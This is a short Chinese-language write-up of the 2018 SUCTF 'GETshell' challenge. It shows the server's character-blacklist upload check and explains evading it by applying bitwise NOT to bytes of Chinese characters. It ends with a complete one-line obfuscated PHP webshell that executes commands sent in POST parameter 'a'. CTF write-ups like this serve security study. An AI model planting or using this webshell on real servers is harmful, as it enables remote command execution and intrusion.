2018SUCTF GETshell--字符取反绕过正则

访问题目
1

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

从第六位开始有black_char过滤
随便传一个文件用burp测试被过滤字符
2

长度为681的都可以通过黑名单
考虑使用”异或”和”取反”绕过正则过滤
这里参考文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
发现<?=$_=('被过滤了
这串字符是异或必须要有的字符,所以考虑另一种方法:取反
利用UTF-8编码的某个汉字,将其中某个字符取出来,比如‘和’{2} 的结果为 ‘\x8c’ ,取反为字母s。
本地php7运行截图
3

这里还过滤了空格和换行符,所以要把shell写在一行,而php语法代码只有一行的情况下<?php后边要加空格,所以这里用短标签避免

最终测试得到shell

1
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

此shell命令执行方式:
post提交a=(此处为要执行的命令)

执行env即可得到flag
4